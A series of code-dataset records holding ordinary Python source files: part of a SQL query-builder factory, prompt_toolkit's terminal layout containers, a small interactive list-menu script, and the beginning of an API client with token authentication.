'ROWIDTOCHAR({}.ROWID) AS {}'.format(\n self.prefix(), alias\n )\n\n return '{prefix}.{pk}{alias}'.format(\n prefix=self.prefix(),\n pk=self.primary_key(),\n alias=' AS {}'.format(alias) if alias else ''\n )\n\n def _get_order_components(self, names):\n return list(map(\n lambda name: self.component(name),\n names\n ))\n\n @staticmethod\n def bind_reducer(binds, item):\n index = len(binds)\n binds['id{}'.format(index)] = item\n return binds\n\n @staticmethod\n def binds(ids):\n if ids is None:\n return []\n\n if not isinstance(ids, list):\n ids = [ids]\n\n return reduce(Factory.bind_reducer, ids, {})\n\n @staticmethod\n def standardize_order(order):\n if not isinstance(order, dict):\n order = {i: v for i, v in enumerate(order)}\n\n std_order = {'__components__': []}\n for key, value in order.items():\n if isinstance(key, int):\n std_order['__components__'].append(value)\n else:\n if key == '__components__':\n std_order[key] = value\n else:\n std_order[key] = Factory.standardize_order(value)\n\n return std_order\n\n @staticmethod\n def from_json(filename):\n with open(filename, 'r') as handle:\n return Factory.from_dict(json.load(handle))\n\n @staticmethod\n def from_dict(dic):\n factory_name = dic['name']\n if factory_name in Factory.FACTORIES:\n return Factory.FACTORIES[factory_name]\n\n if 'inventory' not in dic:\n dic['inventory'] = {}\n\n factory = Factory()\n factory.name(factory_name)\n\n Factory.FACTORIES[factory_name] = factory\n\n (\n factory\n .table(dic['table'])\n .primary_key(dic['primary_key'])\n .model(dic['model'])\n .components(Factory.build_components(dic['components']))\n .inventory_items(Factory.build_inventory(dic['inventory']))\n )\n\n if 'alias' in dic:\n factory.alias(dic['alias'])\n\n errors = factory.validate()\n if errors:\n raise Exception('invalid factory -> {}'.format(errors))\n\n return factory\n\n @staticmethod\n def env_build(factory_name):\n if factory_name in Factory.FACTORIES:\n return Factory.FACTORIES[factory_name]\n\n factories = Factory.load_factories(factory_name)\n if factory_name not in factories:\n raise Exception('can not load {}'.format(factory_name))\n\n fac_props = factories[factory_name]\n if 'inventory' not in fac_props:\n fac_props['inventory'] = []\n\n factory = Factory()\n factory.name(factory_name)\n\n Factory.FACTORIES[factory_name] = factory\n\n (\n factory\n .table(fac_props['table'])\n .primary_key(fac_props['primary_key'])\n .model(fac_props['model'])\n .components(Factory.build_components(fac_props['components']))\n .inventory_items(Factory.build_inventory(fac_props['primary_key']))\n )\n\n if 'alias' in fac_props:\n factory.alias(fac_props['alias'])\n\n errors = factory.validate()\n if errors:\n raise Exception('invalid factory')\n\n return factory\n\n @staticmethod\n def build_components(components_map):\n def _mapper(name, properties):\n return (\n Component()\n .name(name)\n .column(properties['column'])\n .carrier(properties['carrier'])\n .ctype(properties.get('type', 'string'))\n )\n\n return [\n _mapper(name, properties)\n for name, properties in components_map.items()\n ]\n\n @staticmethod\n def build_inventory(inventory_map):\n def _mapper(name, properties):\n return (\n Inventory()\n .name(name)\n .factory(Factory.from_json(properties['factory']))\n .join(Factory.build_join(properties['join']))\n .carrier(properties['carrier'])\n .single(properties.get('single', False))\n )\n\n return [\n _mapper(name, properties)\n for name, properties in inventory_map.items()\n ]\n\n @staticmethod\n def build_join(properties):\n _join = Join()\n\n if isinstance(properties, list):\n properties = '\\n'.join(_join)\n\n if isinstance(properties, str):\n return _join.shoehorn(properties)\n\n return _join\\\n .table(properties['table'])\\\n .alias(properties['alias'] if 'alias' in properties else None)\\\n .on(properties['on'])\n\n @staticmethod\n def load_factories(factory_name):\n return []\n\n\nclass Component:\n def name(self, *args):\n return _fluent(self, '_name', *args)\n\n def column(self, *args):\n return _fluent(self, '_column', *args)\n\n def carrier(self, *args):\n return _fluent(self, '_carrier', *args)\n\n def ctype(self, *args):\n return _fluent(self, '_type', *args)\n\n def format_column(self, prefix):\n column = '{}.{}'.format(prefix, self.column())\n return '{} AS {}'.format(column, self.name())\n\n\nclass Inventory:\n def __init__(self):\n super().__init__()\n self._factory = None\n self._inventory_map = {}\n self._single = False\n\n def inventory(self, *args):\n if not args:\n return self._inventory_map\n\n items = args[0]\n for inventory in items:\n self._inventory_map[inventory.name()] = inventory\n\n return self\n\n def has(self, name):\n return name in self._inventory_map\n\n def name(self, *args):\n return _fluent(self, '_name', *args)\n\n def carrier(self, *args):\n return _fluent(self, '_carrier', *args)\n\n def join(self, *args):\n return _fluent(self, '_join', *args)\n\n def single(self, *args):\n return _fluent(self, '_single', *args)\n\n def factory(self, *args):\n if not args:\n return self._factory\n\n factory = args[0]\n if not isinstance(factory, Factory):\n raise Exception('need Factory object')\n\n self._factory = factory\n return self\n\n def validate(self):\n errors = []\n\n if not self.name():\n errors.append('missing inventory name')\n if not self.factory():\n errors.append('missing inventory factory')\n if not self.join():\n errors.append('missing inventory join')\n if not self.carrier():\n errors.append('missing inventory carrier')\n\n return errors\n\n\nclass Join:\n def __init__(self):\n super().__init__()\n self._table = None\n self._alias = None\n self._on = None\n self._shoehorn = None\n\n def table(self, *args):\n return _fluent(self, '_table', *args)\n\n def alias(self, *args):\n return _fluent(self, '_alias', *args)\n\n def on(self, *args):\n return _fluent(self, '_on', *args)\n\n def shoehorn(self, *args):\n return _fluent(self, '_shoehorn', *args)\n\n def reference(self):\n return self.alias() if self.alias() else self.table()\n\n def validate(self):\n errors = []\n if not self.table():\n errors.append('missing [table]')\n if not self.on():\n errors.append('missing [on]')\n\n return errors\n\n def compile(self, counter_map={}):\n if self.shoehorn():\n return self.shoehorn()\n\n reference = self.reference()\n if reference in counter_map and counter_map[reference] > 1:\n alias = '{}{}'.format(reference, counter_map[reference])\n replace = alias\n else:\n alias = self.alias()\n replace = reference\n\n _map = {}\n _map[reference + '.'] = replace + '.'\n return 'JOIN {table}{alias} ON {on}'.format(\n table=self.table(),\n alias=' {}'.format(self.alias()) if self.alias() else '',\n on=str(self.on()).format(_map)\n )\n","repo_name":"brunolange/pycyqle","sub_path":"pycyqle/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":19429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14754814530","text":"\"\"\"\nContainer for the layout.\n(Containers can contain other containers or user interface controls.)\n\"\"\"\nfrom __future__ import unicode_literals\n\nfrom six import with_metaclass\nfrom abc import ABCMeta, abstractmethod\n\nfrom .screen import Point, WritePosition\nfrom .dimension import LayoutDimension, sum_layout_dimensions, max_layout_dimensions\nfrom .controls import UIControl\nfrom prompt_toolkit.reactive import Integer\nfrom prompt_toolkit.filters import CLIFilter, Always, Never\n\n__all__ = (\n 'HSplit',\n 'VSplit',\n 'FloatContainer',\n 'Float',\n 'Window',\n)\n\n\nclass Layout(with_metaclass(ABCMeta, object)):\n \"\"\"\n Base class for user interface layout.\n \"\"\"\n @abstractmethod\n def reset(self):\n pass\n\n @abstractmethod\n def width(self, cli): # XXX: rename to preferred_width\n # Should return a LayoutDimension\n pass\n\n @abstractmethod # XXX: rename to preferred_height\n def height(self, cli, width):\n # Should return a LayoutDimension\n pass\n\n @abstractmethod\n def write_to_screen(self, cli, screen, write_position):\n pass\n\n @abstractmethod\n def walk(self):\n \"\"\"\n Walk through all the layout nodes (and their children) and yield them.\n \"\"\"\n\n\nclass HSplit(Layout):\n \"\"\"\n Several layouts, one stacked above/under the other.\n \"\"\"\n def __init__(self, children):\n assert all(isinstance(c, Layout) for c in children)\n self.children = children\n\n def width(self, cli):\n dimensions = [c.width(cli) for c in self.children]\n return max_layout_dimensions(dimensions)\n\n def height(self, cli, width):\n dimensions = [c.height(cli, width) for c in self.children]\n return sum_layout_dimensions(dimensions)\n\n def reset(self):\n for c in self.children:\n c.reset()\n\n def write_to_screen(self, cli, screen, write_position):\n \"\"\"\n Render the prompt to a `Screen` instance.\n\n :param screen: The :class:`Screen` class into which we write the output.\n \"\"\"\n # Calculate heights.\n dimensions = [c.height(cli, write_position.width) for c in self.children]\n sum_dimensions = sum_layout_dimensions(dimensions)\n\n # If there is not enough space for both.\n # Don't do anything. (TODO: show window to small message.)\n if sum_dimensions.min > write_position.extended_height:\n return\n\n # Find optimal sizes. (Start with minimal size, increase until we cover\n # the whole height.)\n sizes = [d.min for d in dimensions]\n\n i = 0\n while sum(sizes) < min(write_position.extended_height, sum_dimensions.preferred):\n # Increase until we meet at least the 'preferred' size.\n if sizes[i] < dimensions[i].preferred:\n sizes[i] += 1\n i = (i + 1) % len(sizes)\n\n if not any([cli.is_returning, cli.is_exiting, cli.is_aborting]):\n while sum(sizes) < min(write_position.height, sum_dimensions.max):\n # Increase until we use all the available space. (or until \"max\")\n if sizes[i] < dimensions[i].max:\n sizes[i] += 1\n i = (i + 1) % len(sizes)\n\n # Draw child panes.\n ypos = write_position.ypos\n xpos = write_position.xpos\n width = write_position.width\n\n for s, c in zip(sizes, self.children):\n c.write_to_screen(cli, screen, WritePosition(xpos, ypos, width, s))\n ypos += s\n\n def walk(self):\n \"\"\" Walk through children. \"\"\"\n yield self\n for c in self.children:\n for i in c.walk():\n yield i\n\n\nclass VSplit(Layout):\n \"\"\"\n Several layouts, one stacked left/right of the other.\n \"\"\"\n def __init__(self, children):\n assert all(isinstance(c, Layout) for c in children)\n self.children = children\n\n def width(self, cli):\n dimensions = [c.width(cli) for c in self.children]\n return sum_layout_dimensions(dimensions)\n\n def height(self, cli, width):\n sizes = self._divide_widths(cli, width)\n if sizes is None:\n return LayoutDimension()\n else:\n dimensions = [c.height(cli, s) for s, c in zip(sizes, self.children)]\n return max_layout_dimensions(dimensions)\n\n def reset(self):\n for c in self.children:\n c.reset()\n\n def _divide_widths(self, cli, width):\n \"\"\"\n Return the widths for all columns.\n Or None when there is not enough space.\n \"\"\"\n # Calculate widths.\n dimensions = [c.width(cli) for c in self.children]\n sum_dimensions = sum_layout_dimensions(dimensions)\n\n # If there is not enough space for both.\n # Don't do anything. (TODO: show window too small message.)\n if sum_dimensions.min > width:\n return\n\n # TODO: like HSplit, first increase until the \"preferred\" size.\n\n # Find optimal sizes. (Start with minimal size, increase until we cover\n # the whole height.)\n sizes = [d.min for d in dimensions]\n i = 0\n while sum(sizes) < min(width, sum_dimensions.max):\n if sizes[i] < dimensions[i].max:\n sizes[i] += 1\n i = (i + 1) % len(sizes)\n\n return sizes\n\n def write_to_screen(self, cli, screen, write_position):\n \"\"\"\n Render the prompt to a `Screen` instance.\n\n :param screen: The :class:`Screen` class into which we write the output.\n \"\"\"\n sizes = self._divide_widths(cli, write_position.width)\n\n if sizes is None:\n return\n\n # Calculate heights, take the largest possible, but not larger than write_position.extended_height.\n heights = [child.height(cli, width).preferred for width, child in zip(sizes, self.children)]\n height = max(write_position.height, min(write_position.extended_height, max(heights)))\n\n # Draw child panes.\n ypos = write_position.ypos\n xpos = write_position.xpos\n\n for s, c in zip(sizes, self.children):\n c.write_to_screen(cli, screen, WritePosition(xpos, ypos, s, height))\n xpos += s\n\n def walk(self):\n \"\"\" Walk through children. \"\"\"\n yield self\n for c in self.children:\n for i in c.walk():\n yield i\n\n\nclass FloatContainer(Layout):\n \"\"\"\n Container which can contain another container for the background, as well\n as a list of floating containers on top of it.\n\n Example Usage::\n\n FloatContainer(content=Window(...),\n floats=[\n Float(xcursor=True,\n ycursor=True,\n layout=CompletionMenu(...))\n ])\n \"\"\"\n def __init__(self, content, floats):\n assert isinstance(content, Layout)\n assert all(isinstance(f, Float) for f in floats)\n\n self.content = content\n self.floats = floats\n\n def reset(self):\n self.content.reset()\n\n def width(self, cli):\n return self.content.width(cli)\n\n def height(self, cli, width):\n \"\"\"\n Return the preferred height of the float container.\n (We don't care about the height of the floats, they should always fit\n into the dimensions provided by the container.)\n \"\"\"\n return self.content.height(cli, width)\n\n def write_to_screen(self, cli, screen, write_position):\n self.content.write_to_screen(cli, screen, write_position)\n\n # When a menu_position was given, use this instead of the cursor\n # position. (These cursor positions are absolute, translate again\n # relative to the write_position.)\n cursor_position = screen.menu_position or screen.cursor_position\n cursor_position = Point(x=cursor_position.x - write_position.xpos,\n y=cursor_position.y - write_position.ypos)\n\n for fl in self.floats:\n # Left & width given.\n if fl.left is not None and fl.width is not None:\n xpos = fl.left\n width = fl.width\n # Left & right given -> calculate width.\n elif fl.left is not None and fl.right is not None:\n xpos = fl.left\n width = write_position.width - fl.left - fl.right\n # Width & right given -> calculate left.\n elif fl.width is not None and fl.right is not None:\n xpos = write_position.width - fl.right - fl.width\n width = fl.width\n elif fl.xcursor:\n width = fl.width\n if width is None:\n width = fl.content.width(cli).preferred\n width = min(write_position.width, width)\n\n xpos = cursor_position.x\n if xpos + width > write_position.width:\n xpos = max(0, write_position.width - width)\n # Only width given -> center horizontally.\n elif fl.width:\n xpos = int((write_position.width - fl.width) / 2)\n width = fl.width\n # Otherwise, take preferred width from float content.\n else:\n width = fl.content.width(cli).preferred\n\n if fl.left is not None:\n xpos = fl.left\n elif fl.right is not None:\n xpos = max(0, write_position.width - width - fl.right)\n else: # Center horizontally.\n xpos = max(0, int((write_position.width - width) / 2))\n\n # Trim.\n width = min(width, write_position.width - xpos)\n\n # Top & height given.\n if fl.top is not None and fl.height is not None:\n ypos = fl.top\n height = fl.height\n # Top & bottom given -> calculate height.\n elif fl.top is not None and fl.bottom is not None:\n ypos = fl.top\n height = write_position.height - fl.top - fl.bottom\n # Height & bottom given -> calculate top.\n elif fl.height is not None and fl.bottom is not None:\n ypos = write_position.height - fl.height - fl.bottom\n height = fl.height\n # Near cursor\n elif fl.ycursor:\n ypos = cursor_position.y + 1\n\n height = fl.height\n if height is None:\n height = fl.content.height(cli, width).preferred\n\n # Reduce height if not enough space. (We can use the\n # extended_height when the content requires it.)\n if height > write_position.extended_height - ypos:\n if write_position.extended_height - ypos > ypos:\n # When the space below the cursor is more than\n # the space above, just reduce the height.\n height = write_position.extended_height - ypos\n else:\n # Otherwise, fit the float above the cursor.\n height = min(height, cursor_position.y)\n ypos = cursor_position.y - height\n\n # Only height given -> center vertically.\n elif fl.width:\n ypos = int((write_position.height - fl.height) / 2)\n height = fl.height\n # Otherwise, take preferred height from content.\n else:\n height = fl.content.height(cli, width).preferred\n\n if fl.top is not None:\n ypos = fl.top\n elif fl.bottom is not None:\n ypos = max(0, write_position.height - height - fl.bottom)\n else: # Center vertically.\n ypos = max(0, int((write_position.height - height) / 2))\n\n # Trim.\n height = min(height, write_position.height - ypos)\n\n # Write float.\n if xpos >= 0 and ypos >= 0 and height > 0 and width > 0:\n wp = WritePosition(xpos=xpos + write_position.xpos,\n ypos=ypos + write_position.ypos,\n width=width, height=height)\n fl.content.write_to_screen(cli, screen, wp)\n\n def walk(self):\n \"\"\" Walk through children. \"\"\"\n yield self\n\n for i in self.content.walk():\n yield i\n\n for f in self.floats:\n for i in f.content.walk():\n yield i\n\n\nclass Float(object):\n def __init__(self, top=None, right=None, bottom=None, left=None,\n width=None, height=None,\n xcursor=False, ycursor=False, content=None):\n assert isinstance(content, Layout)\n\n self.left = left\n self.right = right\n self.top = top\n self.bottom = bottom\n\n self.width = width\n self.height = height\n\n self.xcursor = xcursor\n self.ycursor = ycursor\n\n self.content = content\n\n def __repr__(self):\n return 'Float(content=%r)' % self.content\n\n\nclass WindowRenderInfo(object):\n \"\"\"\n Render information, for the last render time of this control.\n It stores mapping information between the input buffers (in case of a\n BufferControl) and the actual render position on the output screen.\n\n (Could be used for implementation of the Vi 'H' and 'L' key bindings as\n well as implementing mouse support.)\n\n :param original_screen: The original full screen instance that contains the\n whole input, without clipping. (temp_screen)\n :param vertical_scroll: The vertical scroll of the `Window` instance.\n :param rendered_height: The height that was used for the rendering.\n :param cursor_position: `Point` instance. Where the cursor is currently shown.\n \"\"\"\n def __init__(self, original_screen, vertical_scroll, rendered_height, cursor_position,\n configured_scroll_offset, scroll_offset_top, scroll_offset_bottom):\n self.original_screen = original_screen\n self.vertical_scroll = vertical_scroll\n self.rendered_height = rendered_height\n self.cursor_position = cursor_position\n self.configured_scroll_offset = configured_scroll_offset\n self.scroll_offset_top = scroll_offset_top\n self.scroll_offset_bottom = scroll_offset_bottom\n\n def input_line_to_screen_line(self, lineno):\n \"\"\"\n Return the line number on the screen, for this line of the input.\n Setting the `vertical_scroll` to this number should make sure that\n `lineno` appears at the top.\n \"\"\"\n input_to_screen = dict((v, k) for k, v in\n self.original_screen.screen_line_to_input_line.items())\n try:\n return input_to_screen[lineno]\n except KeyError:\n return None\n\n @property\n def screen_line_to_input_line(self):\n \"\"\"\n Return the dictionary mapping the line numbers of the input buffer to\n the lines of the screen.\n \"\"\"\n return self.original_screen.screen_line_to_input_line\n\n def first_visible_line(self, after_scroll_offset=False):\n \"\"\"\n Return the line number (0 based) of the input document that corresponds\n with the first visible line.\n \"\"\"\n # Note that we can't just do vertical_scroll+height because some input\n # lines could be wrapped and span several lines in the screen.\n screen = self.original_screen\n height = self.rendered_height\n\n start = self.vertical_scroll\n if after_scroll_offset:\n start += self.scroll_offset_top\n\n for y in range(start, self.vertical_scroll + height):\n if y in screen.screen_line_to_input_line:\n return screen.screen_line_to_input_line[y]\n\n return 0\n\n def last_visible_line(self, before_scroll_offset=False):\n \"\"\"\n Like `first_visible_line`, but for the last visible line.\n \"\"\"\n screen = self.original_screen\n height = self.rendered_height\n\n start = self.vertical_scroll + height - 1\n if before_scroll_offset:\n start -= self.scroll_offset_bottom\n\n for y in range(start, self.vertical_scroll, -1):\n if y in screen.screen_line_to_input_line:\n return screen.screen_line_to_input_line[y]\n\n return 0\n\n @property\n def full_height_visible(self):\n \"\"\"\n True when the full height is visible (There is no vertical scroll.\n \"\"\"\n return self.rendered_height >= self.original_screen.current_height\n\n @property\n def top_visible(self):\n \"\"\"\n True when the top of the buffer is visible.\n \"\"\"\n return self.vertical_scroll == 0\n\n @property\n def bottom_visible(self):\n \"\"\"\n True when the bottom of the buffer is visible.\n \"\"\"\n return self.vertical_scroll >= \\\n self.original_screen.current_height - self.rendered_height\n\n @property\n def vertical_scroll_percentage(self):\n \"\"\"\n Vertical scroll as a percentage. (0 means: the top is visible,\n 100 means: the bottom is visible.)\n \"\"\"\n return (100 * self.vertical_scroll //\n (self.original_screen.current_height - self.rendered_height))\n\n\nclass Window(Layout):\n \"\"\"\n Layout that holds a control.\n\n :param content: User interface control.\n :param width: `LayoutDimension` instance.\n :param height: `LayoutDimension` instance.\n :param get_width: callable which takes a `CommandLineInterface` and returns a `LayoutDimension`.\n :param get_height: callable which takes a `CommandLineInterface` and returns a `LayoutDimension`.\n :param filter: `Filter` which decides about the visibility.\n :param dont_extend_width: When `True`, don't take up more width then the\n preferred width reported by the control.\n :param dont_extend_height: When `True`, don't take up more width then the\n preferred height reported by the control.\n :param scroll_offset: Number (integer) representing the preferred amount of lines to be\n always visible before and after the cursor. When this is a very high\n number, the cursor will be centered vertically most of the time.\n :param allow_scroll_beyond_bottom: A `Filter` instance. When True, allow scrolling so far,\n that the top part of the content is not visible anymore, while there\n is still empty space available at the bottom of the window. In the Vi\n editor for instance, this is possible. You will see tildes while the\n top part of the body is hidden.\n \"\"\"\n def __init__(self, content, width=None, height=None, get_width=None,\n get_height=None, filter=Always(), dont_extend_width=False,\n dont_extend_height=False, scroll_offset=0, allow_scroll_beyond_bottom=Never()):\n assert isinstance(content, UIControl)\n assert width is None or isinstance(width, LayoutDimension)\n assert height is None or isinstance(height, LayoutDimension)\n assert get_width is None or callable(get_width)\n assert get_height is None or callable(get_height)\n assert width is None or get_width is None\n assert height is None or get_height is None\n assert isinstance(filter, CLIFilter)\n assert isinstance(scroll_offset, Integer)\n assert isinstance(allow_scroll_beyond_bottom, CLIFilter)\n\n self.content = content\n self.filter = filter\n self.dont_extend_width = dont_extend_width\n self.dont_extend_height = dont_extend_height\n self.scroll_offset = scroll_offset\n self.allow_scroll_beyond_bottom = allow_scroll_beyond_bottom\n self._width = get_width or (lambda cli: width)\n self._height = get_height or (lambda cli: height)\n\n self.reset()\n\n def __repr__(self):\n return 'Window(content=%r)' % self.content\n\n def reset(self):\n self.content.reset()\n\n #: Vertical scrolling position of the main content.\n self.vertical_scroll = 0\n\n #: Keep render information (mappings between buffer input and render\n #: output.)\n self.render_info = None\n\n def _visible(self, cli):\n return self.filter(cli)\n\n def width(self, cli):\n if self._visible(cli):\n width = self._width(cli) or LayoutDimension()\n preferred_width = self.content.preferred_width(cli)\n\n if preferred_width is None:\n return width\n else:\n # When 'dont_extend_width' has been given. Don't use more than\n # the preferred width of the control. (But also don't go below\n # the minimum.)\n if self.dont_extend_width:\n max_width = max(width.min, min(preferred_width, width.max))\n else:\n max_width = width.max\n return LayoutDimension(min=width.min, max=max_width, preferred=preferred_width)\n else:\n return LayoutDimension.exact(0)\n\n def height(self, cli, width):\n if self._visible(cli):\n height = self._height(cli) or LayoutDimension()\n preferred_height = self.content.preferred_height(cli, width)\n\n if preferred_height is None:\n return height\n else:\n # When 'dont_extend_height' has been given. Don't use more than\n # the preferred height of the control. (But also don't go below\n # the minimum.)\n if self.dont_extend_height:\n max_height = max(height.min, min(preferred_height, height.max))\n else:\n max_height = height.max\n return LayoutDimension(min=height.min, max=max_height, preferred=preferred_height)\n else:\n return LayoutDimension.exact(0)\n\n def write_to_screen(self, cli, screen, write_position):\n # XXX: Show window too small messsage...\n\n # Only write when visible.\n if self._visible(cli):\n # Set position.\n temp_screen = self.content.create_screen(cli, write_position.width, write_position.height)\n applied_scroll_offsets = self._scroll(temp_screen, write_position.height, cli)\n self._copy(cli, temp_screen, screen, write_position, applied_scroll_offsets)\n\n def _copy(self, cli, temp_screen, new_screen, write_position, applied_scroll_offsets):\n \"\"\"\n Copy characters from the temp screen that we got from the `UIControl`\n to the real screen.\n \"\"\"\n xpos = write_position.xpos\n ypos = write_position.ypos\n height = write_position.height\n\n columns = temp_screen.width\n\n temp_buffer = temp_screen._buffer\n new_buffer = new_screen._buffer\n temp_screen_height = temp_screen.current_height\n y = 0\n\n # Now copy the region we need to the real screen.\n for y in range(0, height):\n # We keep local row variables. (Don't look up the row in the dict\n # for each iteration of the nested loop.)\n new_row = new_buffer[y + ypos]\n\n if y >= temp_screen_height and y >= write_position.height:\n # Break out of for loop when we pass after the last row of the\n # temp screen. (We use the 'y' position for calculation of new\n # screen's height.)\n break\n else:\n temp_row = temp_buffer[y + self.vertical_scroll]\n for x in range(0, columns):\n new_row[x + xpos] = temp_row[x]\n\n if self.content.has_focus(cli):\n new_screen.cursor_position = Point(y=temp_screen.cursor_position.y + ypos - self.vertical_scroll,\n x=temp_screen.cursor_position.x + xpos)\n\n if not new_screen.menu_position and temp_screen.menu_position:\n new_screen.menu_position = Point(y=temp_screen.menu_position.y + ypos - self.vertical_scroll,\n x=temp_screen.menu_position.x + xpos)\n\n # Update height of the output screen.\n new_screen.current_height = max(new_screen.current_height, ypos + y + 1)\n\n # Remember render info.\n self.render_info = WindowRenderInfo(temp_screen, self.vertical_scroll, height,\n new_screen.cursor_position,\n applied_scroll_offsets[0],\n applied_scroll_offsets[1], applied_scroll_offsets[2])\n\n def _scroll(self, temp_screen, height, cli):\n \"\"\"\n Scroll to make sure the cursor position is visible and that we maintain the\n requested scroll offset.\n Return the applied scroll offsets.\n \"\"\"\n scroll_offset = int(self.scroll_offset) # Resolve int-value. (In case this is reactive.)\n\n # Calculate the scroll offset to apply.\n # This can obviously never be more than have the screen size. Also, when the\n # cursor appears at the top or bottom, we don't apply the offset.\n scroll_offset_top = int(min(scroll_offset, height / 2, temp_screen.cursor_position.y))\n scroll_offset_bottom = int(min(scroll_offset, height / 2,\n temp_screen.current_height - 1 - temp_screen.cursor_position.y))\n\n # Prevent negative scroll offsets.\n if self.vertical_scroll < 0:\n self.vertical_scroll = 0\n\n # Scroll back if we scrolled to much and there's still space to show more of the document.\n if (not self.allow_scroll_beyond_bottom(cli) and\n self.vertical_scroll > temp_screen.current_height - height):\n self.vertical_scroll = max(0, temp_screen.current_height - height)\n\n # Scroll up if cursor is before visible part.\n if self.vertical_scroll > temp_screen.cursor_position.y - scroll_offset_top:\n self.vertical_scroll = max(0, temp_screen.cursor_position.y - scroll_offset_top)\n\n # Scroll down if cursor is after visible part.\n if self.vertical_scroll < (temp_screen.cursor_position.y + 1) - height + scroll_offset_bottom:\n self.vertical_scroll = (temp_screen.cursor_position.y + 1) - height + scroll_offset_bottom\n\n # Calculate the applied scroll offset. This value can be lower than what we had.\n scroll_offset_top = max(0, min(self.vertical_scroll, scroll_offset_top))\n scroll_offset_bottom = max(0, min(temp_screen.current_height - self.vertical_scroll - height, scroll_offset_bottom))\n\n return scroll_offset, scroll_offset_top, scroll_offset_bottom\n\n def walk(self):\n # Only yield self. A window doesn't have children.\n yield self\n","repo_name":"hanwei2008/ENV","sub_path":"VEScrapy/lib/python2.7/site-packages/prompt_toolkit/layout/containers.py","file_name":"containers.py","file_ext":"py","file_size_in_byte":27121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72858389160","text":"from typing import Match\n\n\nnumeros=[]\nprint(\"1-Add a number to the list\")\nprint(\"2-Add a number in a position in the list\")\nprint(\"3-Show the lenght of the list\")\nprint(\"4-Delete the last number in the list\")\nprint(\"5-Delete a number in the list\")\nprint(\"6-Count numbers\")\nprint(\"7-Position of a numbers\")\nprint(\"8-Show the list\")\nprint(\"9-Exit\")\nopcion=0\nwhile opcion!=9:\n\n opcion=int(input(\"Introduzca un numero: \"))\n\n \n if opcion==1:\n numero1=int(input(\"Introduzca un numero en la lista \"))\n\n numeros.append(numero1)\n elif opcion==2:\n numero2=int(input(\"Introduzca un numero en la lista \"))\n posicion=int(input(\"Introduzca la posición donde desee poner el numero en la lista \"))\n\n numeros.insert(posicion,numero2)\n \n elif opcion==3:\n print(len(numeros))\n elif opcion==4:\n numeros.pop()\n elif opcion==5:\n posicion=int(input(\"Introduzca la posición del nunmero que desee eliminar \"))\n for i in range(len(numeros)):\n if posicion<=len(numeros):\n if posicion==len(numeros):\n numeros.pop(posicion)\n else:\n break\n elif opcion==6:\n numero6=int(input(print(\"Introduzca el numero en la lista que desee contar \")))\n contador=0\n for i in range(len(numeros)):\n if numeros[i]==numero6:\n contador+=1\n print(\"El numero de veces que se ha encontrado el numero es: \",contador)\n elif opcion==7:\n numero7=int(input(\"Introduzca un numero en la lista \"))\n contador=0\n for i in range(len(numeros)):\n if numeros[i]==numero7:\n print(\"La posicion del numero es: \",i)\n \n elif opcion==8:\n print(numeros)\n elif opcion==9:\n print(\"Saliendo..\")\n break","repo_name":"Derekas/module3","sub_path":"Menu.py","file_name":"Menu.py","file_ext":"py","file_size_in_byte":1828,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39814060985","text":"\"\"\" This file contains classes and functions that contribute to creating a client, to interface with the AMDAPi API\"\"\"\n\nfrom __future__ import annotations\n\nimport functools\nimport json\nimport os\nfrom dataclasses import dataclass\nfrom datetime import datetime, timedelta\nfrom io import BufferedReader\nfrom typing import Dict, Tuple\n\nimport requests\n\nfrom ..configs import (\n ANALYSIS_LANGUAGES,\n ANALYSIS_ORIGINS,\n CLIENT_ID_ENV_NAME,\n CLIENT_SECRET_ENV_NAME,\n ENDPOINT_CLIENT_AUTH,\n ENDPOINT_GET_CALL_W_UUID,\n ENDPOINT_GET_CALLS,\n ENDPOINT_GET_STORAGE,\n REAUTH_SAFETY,\n)\nfrom ..exceptions.api_errors import (\n CallNotFoundError,\n InternalServerError,\n PageOutOfRangeError,\n TokenExpiredError,\n)\nfrom ..exceptions.auth_errors import AuthorizationError\nfrom ..exceptions.local_errors import CredentialsNotFoundError\nfrom ..utils.audio import get_audio_objects, is_stereo\nfrom ..utils.functions import gen_b64_key\nfrom .call import Call\nfrom .search_result import SearchResult\n\n\n@dataclass(frozen=True)\nclass Token:\n \"\"\"\n Simple Class for Storing Client JWT Token\n \"\"\"\n\n value: str\n last_refresh: datetime\n expiration: datetime\n\n\n# Refresh Token Decorator\ndef _refresh_token(func):\n functools.wraps(func)\n\n def __refresh_token(self: Client, *args, **kwargs):\n if datetime.now() >= self.get_token_expiry() - timedelta(seconds=REAUTH_SAFETY):\n self.authenticate()\n\n try:\n ret = func(self, *args, **kwargs)\n except TokenExpiredError:\n self.authenticate()\n ret = func(self, *args, **kwargs)\n return ret\n\n return __refresh_token\n\n\nclass Client:\n def __init__(self, amdapi_id: str = None, amdapi_secret: str = None):\n\n # Check Arguments, if not passed get Local Environment Arguments\n if amdapi_id is None or amdapi_secret is None:\n try:\n amdapi_id = os.environ[CLIENT_ID_ENV_NAME]\n amdapi_secret = os.environ[CLIENT_SECRET_ENV_NAME]\n except KeyError:\n raise CredentialsNotFoundError() from KeyError\n\n self.__client_id = amdapi_id\n # Generating Bearer Key Based on Credentials\n self.__b64_key = gen_b64_key(amdapi_id, amdapi_secret)\n\n # Generating Initial Token For Accessing AMDAPI API\n self.__token: Token\n self.authenticate()\n\n def authenticate(self):\n \"\"\"This method is used authenticate the client's private token.\n No return\n\n Raises:\n AuthorizationError: Errors will include bad responses from the Authorization Endpoint\n \"\"\"\n params = {\"grant_type\": \"client_credentials\"}\n headers = {\n \"Authorization\": f\"Basic {self.__b64_key}\",\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n }\n\n response = requests.post(\n url=ENDPOINT_CLIENT_AUTH, params=params, headers=headers\n )\n\n # Bad Response Raise AuthorizationError\n if response.status_code != 200:\n raise AuthorizationError(response.status_code, response.reason)\n\n # Good Response\n response_json = response.json()\n value = f\"{response_json['token_type']} {response_json['access_token']}\"\n last_refresh = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n expiration = datetime.now() + timedelta(\n seconds=int(response_json[\"expires_in\"])\n )\n\n self.__token = Token(value, last_refresh, expiration)\n\n def get_token_expiry(self) -> datetime:\n \"\"\"Simple Getter Function for Token Expiration.\n\n Returns:\n datetime: The expiration of the token.\n \"\"\"\n return self.__token.expiration\n\n 